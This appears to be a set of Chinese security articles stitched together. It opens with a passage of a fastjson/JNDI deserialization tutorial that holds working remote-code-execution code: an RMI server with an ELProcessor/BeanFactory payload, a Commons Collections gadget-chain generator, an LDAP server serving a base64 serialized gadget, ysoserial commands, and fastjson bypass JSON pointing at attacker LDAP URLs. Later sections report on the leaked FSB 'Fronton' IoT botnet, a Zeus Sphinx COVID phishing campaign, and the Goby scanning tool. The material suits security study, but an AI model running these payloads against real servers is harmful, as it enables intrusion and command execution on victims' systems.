这个情况下,目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set..开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter。

这里,我们找到了javax.el.ELProcessor可以作为目标Class。启动RMI Server的利用代码如下:

public static void lanuchRMIregister(Integer rmi_port) throws Exception {
         System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
         Registry registry = LocateRegistry.createRegistry(rmi_port);
         /** Payload2: Exploit with JNDI Reference with local factory Class **/
         ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
         //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
         ref.add(new StringRefAddr("forceString", "KINGX=eval"));
         //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
         ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
         /** Payload2 end **/
         ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
         registry.bind("Exploit", referenceWrapper);
         System.out.println(referenceWrapper.getReference());
}

“forceString”可以给属性强制指定一个setter方法,这里我们将属性”KINGX”的setter方法设置为 ELProcessor.eval() 方法。ResourceRef 中加上元素”KINGX”,赋值为需要执行的恶意代码。最后调用setter就变成了执行如下代码:

ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\"))

ELProcessor.eval()会对EL表达式进行求值,最终达到命令执行的效果。

这种绕过方式需要目标环境中存在Tomcat相关依赖,当然其他Java Server可能也存在可被利用的Factory类,可以进一步研究。

<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.20</version>
</dependency>
<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>9.0.20</version>
</dependency>

利用LDAP返回序列化数据,触发本地Gadget

Java对象在LDAP目录中也有多种存储形式:

Java序列化

JNDI Reference

Marshalled对象

Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性:

javaCodeBase

objectClass

javaFactory

javaSerializedData

javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,即上文描述的方式,高版本JDK已经默认不允许。LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据,客户端反序列化时实现RCE。

下面以Apache Commons Collections包为例分析,这就要求执行环境中有安装部署此包。

Apache Commons Collections中提供了一个Transformer类,功能就是将一个对象转换为另外一个对象。漏洞利用时主要用到如下3个类:

1、InvokeTransformer

Transformer implementation that creates a new object instance by reflection.(通过反射,返回一个对象)

2、ChainedTransformer

Transformer implementation that chains the specified transformers together.(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)

3、ConstantTransformer

Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)

InvokeTransformer

InvokeTransformer可通过反射的方式进行函数调用:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
invokerTransformer.transform(Runtime.getRuntime());

那么接下来要寻找办法来调用transform。

ConstantTransformer

ConstantTransformer的transform方法直接返回构造方法的参数。如:

new ConstantTransformer(Runtime.class)

ChainedTransformer

ChainedTransformer的transform方法会遍历Transformer数组中元素并执行其各自的transform方法:

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
}

那么现在只需要执行chainedTransformer的transform方法就可以弹出计算器了:

Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

需要借助另外的类TransformedMap,该类设计用来作Map的变换。

Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);

decorate函数说明及源码

/**
 * Factory method to create a transforming map.
 * <p>
 * If there are any elements already in the map being decorated, they
 * are NOT transformed.
 * Constrast this with {@link #decorateTransform}.
 * 
 * @param map  the map to decorate, must not be null
 * @param keyTransformer  the transformer to use for key conversion, null means no transformation
 * @param valueTransformer  the transformer to use for value conversion, null means no transformation
 * @throws IllegalArgumentException if map is null
 */
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
         return new TransformedMap(map, keyTransformer, valueTransformer);
}

TransformedMap的entry value如果被修改就会执行Transformer的transform方法。而刚好有另外的类sun.reflect.annotation.AnnotationInvocationHandler,该类是java运行库中处理注解的类,包含一个Map对象属性,其readObject方法有自动修改自身Map属性的操作,即反序列化此对象会修改Map对象属性,这样就整个利用链就衔接上了。

生成序列化字节码的代码:

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollectionPayload {
    public static void main(String[] args) throws Exception {
        /*
         * Runtime.getRuntime().exec("calc");
         */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
        FileOutputStream fos = new FileOutputStream("payload.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();
    }
}

接下来构造LDAP服务,把payload.txt中的序列化字节码(经过Base64转码)放置上去:

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
         URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
         System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
         e.addAttribute("javaClassName", "foo");
         String cbstring = this.codebase.toString();
         int refPos = cbstring.indexOf('#');
         if ( refPos > 0 ) {
                  cbstring = cbstring.substring(0, refPos);
         }

         /** Payload2: Return Serialized Gadget **/
         try {
                  e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
         } catch (ParseException e1) {
                  e1.printStackTrace();
         }
         /** Payload2 end **/

         result.sendSearchEntry(e);
         result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

剩下的利用fastjson反序列化漏洞触发JNDI注入完成命令执行。

此种办法构造序列化对象字节码是关键,已有人开发出工具自动生成:https://github.com/frohoff/ysoserial

如java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 ‘calc’|base64

快速生成“弹出计算器”的字节码。

本文只是介绍了CommonsCollections中的一种利用方式,实际还有很多,可参见ysoserial的源码。

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Fastjson各版本差异

<= 1.2.24

fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type指定。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl和com.sun.rowset.JdbcRowSetImpl都不在黑名单中,可以直接完成攻击,代码参考上文。

>= 1.2.25 <=1.2.47

fastjson自从1.2.25版本开始,进一步添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭。配置项关闭时,只允许白名单内的类通过@type指定。

此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了,但是存在绕过方式,不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化:

{
         "@type": "java.lang.Class",
         "val": "com.sun.rowset.JdbcRowSetImpl"
}

java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中,剩下的就和1.2.24相同了,直接把两部分整合到一起:

{
         "a": {
                 "@type": "java.lang.Class",
                 "val": "com.sun.rowset.JdbcRowSetImpl"
         },
         "b": {
                 "@type": "com.sun.rowset.JdbcRowSetImpl",
                 "dataSourceName": "ldap://192.168.50.131:9999/Exploit",
                 "autoCommit": true
         }
}

>= 1.2.48

fastjson 1.2.48及之后版本,需要显式调用**setAutoTypeSupport(true)**才会触发漏洞:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"ldap://127.0.0.1:1389/ExportObject\"}";
JSONObject json = JSON.parseObject(jsonStr5);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetImpl都加入了黑名单中,oracle.jdbc.connector.OracleManagedConnectionFactory是新挖掘到的JNDI Gadget,原理和com.sun.rowset.JdbcRowSetImpl类似,就不深入讨论了。

参考资料

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://www.freebuf.com/column/189835.html

https://zhuanlan.zhihu.com/p/41806870

http://blog.nsfocus.net/fastjson-rce-poc/

https://paper.seebug.org/417/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/

https://blog.csdn.net/huangbiao86/article/details/6896565

https://blog.csdn.net/Leon_cx/article/details/81517603

*本文作者:打大狼,转载请注明来自FreeBuf.COM

背景

援引****的解释,俄罗斯联邦安全局,简称FSB,作为克格勃的继任者,主要负责联邦安全,包括反情报,内部以及边境安全,反恐和监视,以及调查其他一些严重罪行和违反联邦法律的行为。

这也就意味着,FSB需要具备针对俄罗斯内部进行监控的力量,例如掌握全境流量的SORM项目,并且持续派遣旗下的网军针对境外敌对势力,境内反对势力进行攻击和监控,根据爱沙尼亚情报局的报告称,旗下包括著名的Turla、Cozy Bear(APT29)和近期频繁攻击的Gamaredon。

根据俄罗斯BBC的信息来源表示,FSB一般都会与多家俄罗斯企业进行合作,也就是所谓的承包商、外包公司,从而合作开发一些攻击模块,监控系统等等。

至此,就要介绍一个著名的俄罗斯黑客组织Digital Revolution(数字革命),一个以反俄罗斯联邦政府的黑客组织,其对俄罗斯的种种监控手段不满,通过入侵情报机构或者政府站点,窃取资料和数据从而公布世间。

黑客组织官网

该组织所有数据泄漏信息都会公开在其推特账号上,奇安信威胁情中心在该渠道获取到其发布的相关信息,经过阅读文档后,整理发布如下。

黑客组织推特

在历史上,数字革命总共泄露过三次FSB承包商的数据。以下信息来自开源情报。

第一家是名为Quatum的公司,他们在2018年12月从那里泄露了有关FSB的社交媒体监控项目的详细信息。

而Quatum还是Hacking Team的客户之一。

第二家名为SyTech的公司,该组织泄漏了有关六个FSB项目的详细信息,包括社交媒体数据收集、Tor流量去匿名化、渗透P2P网络、监控并搜索公司邮件通信、调查网络拓扑和创建封闭性内网项目

而第三家,就是我们今天要讲的,名为0Dday Technologies(0day)公司。

该组织分别在3月18号、20号泄露了两批关于FSB如何雇佣承包商,入侵并构建物联网僵尸网络的项目文件,该项目名为:Fronton,此外还有多个未曾一见的监控平台。

以下均为从该黑客团伙泄露的资料中,整理发现的成果,信息来源渠道完全公开。

Fronton项目

Fronton项目是FSB内部部门No. 64829(也称之为FSB信息安全中心)将项目承包给InformInvestGroup,紧接着该集团将项目分包给0day科技公司,后者在2019年4月被数据革命入侵。

根据简介,该集团中文名为通知投资集团,是俄罗斯莫斯科的电信设备供应商。并且其拥有俄罗斯联邦安全局FSB的使用国家机密信息进行工作的权利的许可证,从各方面资讯来源均可得知该集团与俄罗斯政府合作密切。

而Fronton目的是构建一个庞大的物联网僵尸网络。

僵尸网络构成

整个僵尸网络的构成由一份泄露的文档进行说明。

下图为整个僵尸网络的网络拓扑图,该僵尸网络采用了通过VPN集群和Tor节点混合的流量回传机制,并将最终的数据回连到唯一一台用于接收所有数据的主机,该主机通过VPN接入最左侧的APM服务器环境,即 Apache+PHP+MySQL。

我们通过对其中的文档进行分析后,发现了其中记录了整个僵尸网络中,对物联网设备的入侵方法。

首先,该公司获取了几个创建物联网僵尸网络的著名木马:Lizard Stresser, Mirai, Gafgyt,Lizkebab, BASHLITE, Bash0day, Bashdoor 和 Torlus,经过分析后,一番取其精华去其糟粕的操作后,保留以下模块:

1、暴力破解模块

2、 极快速网络扫描模块:

3、 多平台载荷部署模块

此外,文档还提到了如何通过僵尸网络进行DDOS攻击,例如通过ns,ntp,chargen和ssdp协议。

泄露的代码截图可以对应整个系统的功能模块

而泄露者仅将vpn隧道创建的代码截图和一些配置代码公布出来。

网络攻击部署

Fronton通过托管在VPN和代理服务器后面的APM服务器的Web面板进行管理和攻击,攻击目标为Linux系统的智能设备,安全摄像头,路由器,数字录像机(NVR)等等物联网设备。

此外Fronton规范表明,僵尸网络大约95%由互联网安全摄像头和数字录像机(NVR)这两类设备组成,因为这两类物联网设备主要会用于传输视频,这也证明他们将拥有足够大的通信渠道来有效执行DDoS攻击,利用价值更大。

当然,每个受感染的设备都会针对其他设备进行密码爆破,以使僵尸网络保持旺盛的生命力。

下面的截图即为真实系统,取自整个Fronton系统的管理员部署手册。

手册大致内容和目录如下:

1.布局的目的

2.布局架构

3.基本使用方案

1.1。添加一个新的VPN隧道

1.2。在配置文件生效之前添加隧道

1.3。添加密码字典

1.4。加载字典

1.5。创建新任务扫描

可以看到,该平台可以选择网段,或者上传需要攻击的IP地址,端口,还有需要选择的攻击用隧道

1.6。运行扫描查看进度

1.7。浏览发现的设备列表

1.8。查看已知的设备指纹清单

整套系统在进行交付前还需要进行整体测试,其中提到了需要保护国家秘密等信息。

Fronton项目和源代码中,严禁使用俄语和西里尔字母,从而试图防止被溯源。C&C服务器还需要密码保护,并关闭所有未使用的端口,以防止其他黑客接管僵尸网络的后端基础结构。

SANA项目

SANA项目是另一个0day公司与FSB合作的项目,主要针对社交媒体进行处置。

社交媒体爬虫功能,通过筛选关键字查看。

针对每个社交用户的具体活动轨迹。

数据革命在入侵Oday科技公司后,录屏并展示该公司的社交媒体平台SANA功能,最后发布在*******上。主要展示该平台的高隐蔽性的注册多种社交媒体账号。

视频如下,由于视频有11分钟,我们对其中功能进行了简单介绍。需要注意的是,该系统在0day内部使用并没有打上SANA的logo,而在FSB内部使用是打上SANA logo的。并且从菜单栏来看,内部系统并没有实际交付给FSB的系统复杂。

首先该平台可以新建一个虚拟机,自定义挑选版本,用途可选择Facebook

然后点击确定后,就可以自动生成一个ID,可以选择给ID重命名操作。

再确定后,就会跳到用户资料设置的位置,并且虚拟机也会开启,而这一步就是注册过程,在其平台上,拥有一个手机号自动发码的功能,如果需要注册Facebook账号,那么直接填写完信息后,点击右上角的SMS即可发码注册。

接着,就可以使用注册的Facebook账号,就在当前平台搜索Facebook的信息,该做法以防留下真实访问痕迹,可见,搜索结果一模一样。

数字革命拖下两名Facebook账号的发言记录,可以看出网军通过该平台可以实施”水军”攻击。

一、祖国之光。

二、松鼠

除了Facebook外,该系统也支持俄罗斯版“facebook”—— VK。

而且从其他泄露文档可以看到,在0day的其他监视平台中,VK用户被单独进行社交关系分析。

社交关系关联,不难发现系统UI框架与Fronton的框架保持一致性。

0Control监视平台

除了上面提及到的攻击平台,该公司还有主要面向移动端的监视平台,监视项包括近期通话记录,当前定位,手机执行操作,文件管理,联系人等等。适配平台有IOS平台,IPAD系统,Android系统。

查看每台移动设备当前状态

安装APP情况

总结

综上所述,这家名为0day的俄罗斯科技公司,实际上就是一家专门开发网络武器的公司,据称其开发的系统售卖给俄罗斯联邦政府从而盈利,大部分为定制化开发。

实际上,根据公开新闻报道,俄罗斯网军一直有入侵物联网设备的历史,微软在2019年8月表示,它已经观察到俄罗斯一个由国家资助的精英黑客组织之一,其入侵IoT设备是为了获得对更重要目标的内部网络的访问权限。

此外,俄罗斯联邦军队总参谋部情报总局(格鲁乌GRU)旗下的APT28此前就有构建并运行名为VPNFilter的 IOT僵尸网络,美国FBI在2018年将该僵尸网络成功破坏。而由于两个部门构建的僵尸网络区别过大,因此可以初步判断Fronton和VPNFilter并没有关系。

但是,从总体网络作战战略上来看,这已经充分证明如今的网军攻击的趋势:一、利用僵尸网络,二、利用物联网。

而前者就有朝鲜的Lazarus网军向TrickBot僵尸网络租用C2回连服务器资源的案例,而两者结合起来,便是俄罗斯的这种,通过入侵安全性不高的IOT物联网设备,将目标家里的智能家电,路由器,摄像头等等,都感染木马成为僵尸主机,从而构建一张不容易被破坏,并且反溯源能力极强的僵尸网络。

奇安信威胁情报中心认为,当这类僵尸网络被国家级网军利用,即可达成收集海量数据的目的,并且可以做到实施流量劫持,进一步向目标的电脑实施攻击,这给如今5G物联网的普及,万物互联时代的开启敲响警钟。保障物联网设备的安全性,同样也是保障国家网络基础设施的安全性,务必加以重视。

最后,由于Fronton项目的攻击平台原理,与Mirai等大型僵尸网络的构成类似,因此,我们可以经常性对网络下的物联网节点进行安全性扫描并进行加固,可以有效防止相关攻击。

参考链接:

[1]黑客团队推特:
https://twitter.com/D1G1R3V

[2]黑客团队官网:

http://www.d1g1r3v.net/

[3]****关于FSB的解释

https://en.*********.org/wiki/Federal_Security_Service

[4]演示视频链接

https://www.*******.com/watch?v=wGTSD91n5Ps

*本文作者:奇安信威胁情报中心,转载请注明来自FreeBuf.COM

近期发现Zeus Sphinx银行木马程序在沉寂了三年后重新回归人们视线——以冠状病毒为主题开展网络钓鱼活动。COVID-19是目前网络攻击最为常见、最为流行的主题。

Malware.jpg

Zeus Sphinx(也称为Zloader和Terdot)是一种恶意软件,最初在2015年8月被发现,当时黑客利用这种恶意软件攻击了多个英国金融组织,这次攻击几乎完全基于Zeus v2 Trojan泄露的源代码进行的(就像Zeus Panda和Floki Bot)。

随后,利用该恶意软件的攻击便在全球范围内传播开来,从澳大利亚、巴西到北美洲,攻击者试图通过网络注入来收集金融数据,这些注入利用社会工程学说服受感染的用户分发身份验证码和凭据。

三年停滞后再次出现

现在正在进行的Zeus Sphinx活动,利用网络钓鱼电子邮件开展攻击。这些电子邮件带有恶意文件,这些恶意文件伪装成带有政府救济付款信息的文件。

IBM X-Force研究人员Amir Gandler和Limor Kessem发现:“尽管我们在2019年12月开始发现了一些Zeus Sphinx活动,但到2020年3月活动的数量才有所增加,这可能是由于Zeus Sphinx恶意软件背后的运营商进行了测试所致。”

“看来,利用当前的特殊形势,Sphinx的运营商将目光投向了等待政府救济金的人。”

Phishing email sample(2).jpg

(钓鱼邮件样本)

与以前的活动一样,Zeus Sphinx的运营商仍盯着美国、加拿大和澳大利亚的大型银行。

攻击者要求潜在感染用户填写.DOC或.DOCX文档形式的请求表,并声明请求表是安全的。提交后,尽管无法出门工作,这也可以使他们收到救济金维持生活。

一旦在目标计算机上打开这些恶意文档,它们将要求启用宏,安装恶意下载器,并从远程C&C服务器获取最终的有效负载,在这之后,利用Sphinx银行木马感染设备。

在感染用户系统后, Sphinx会添加几个注册表项,并将数据写入在%APPDATA%下创建的文件夹中,因此能够长期存在并保存其配置。

Registry entry created to gain persistence.jpg

(创建注册表项以获得持久性)

研究人员还发现, “要进行网络注入,恶意软件补丁explorer.exe和浏览器会处理iexplorer.exe / chrome.exe / firefox.exe,但如果修复该补丁,则不具备再次自我修补的实际功能,这减少恶意程序的存在时间且不会进行版本升级”

Sphinx使用Tables 的Web控制面板进行网络注入,它会下载和感染用户匹配的银行网站自定义文件,这会让人更加信服,增加注入的成功率。

该恶意软件使用Web注入来更改银行的网站,以诱骗用户输入个人凭证和身份验证码,攻击者控制的服务器可以因此从中提取用户信息。

众多恶意软件中的一种

在COVID-19疫情期间,有许多以此为主题进行攻击的恶意软件,Sphinx也只是其中的一种。在近期一些相关的新闻中,比如联邦调查局的互联网犯罪投诉中心(IC3)警告说,网络钓鱼活动正在使用虚假的政府经济刺激措施来窃取受害者的个人信息。

IC3表示,用户为了避免中招,被恶意软件感染或窃取个人信息,不要单击不认识的人发送的链接或打开附件,确保浏览器中访问的网址合法,尽量以输入网址的方式进入网站而不是直接点击电子邮件中的嵌入超链接地址。当接到推销电话或电子邮件时,也不要提供个人敏感信息比如用户凭证和各种财务数据。

*参考来源:Bleepingcomputer,Sandra1432编译,转载请注明来自FreeBuf.COM

Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击。

Goby主要特性:

实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度;

体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。

高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准;

平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等;

艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。

0×001 安装

Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:

1.Windows用户

下载Npcap数据捕获包,安装完成后,启动goby。 下载地址:https://nmap.org/npcap/dist/npcap-0.9983.exe

2.MacOS用户

执行以下命令:

cd /dev
sudo chown $USER:admin bp*

0×002 使用

1.资产收集

自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。

1585651197_5e831dfd8e8ce

在设置界面开启以下功能,将获取更多资产信息。

子域名扫描

自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。

网站截图

通过截图,快速判断网站系统应用,无须再一一打开。

注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器。

深度分析

发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。

代理扫描

通过socket5代理,快速进入内网,开启内网渗透。

注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。

2.漏洞利用

对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。

1585651308_5e831e6cb3f9f

支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。

自定义PoC图

3.生成报告

扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。

report 图

4.CS模式

远程服务,区分扫描模块及展示模块。 CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。 ![CS 图]

1585651352_5e831e986da37

0×003 预置数据说明

1.规则库

超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。

2.协议

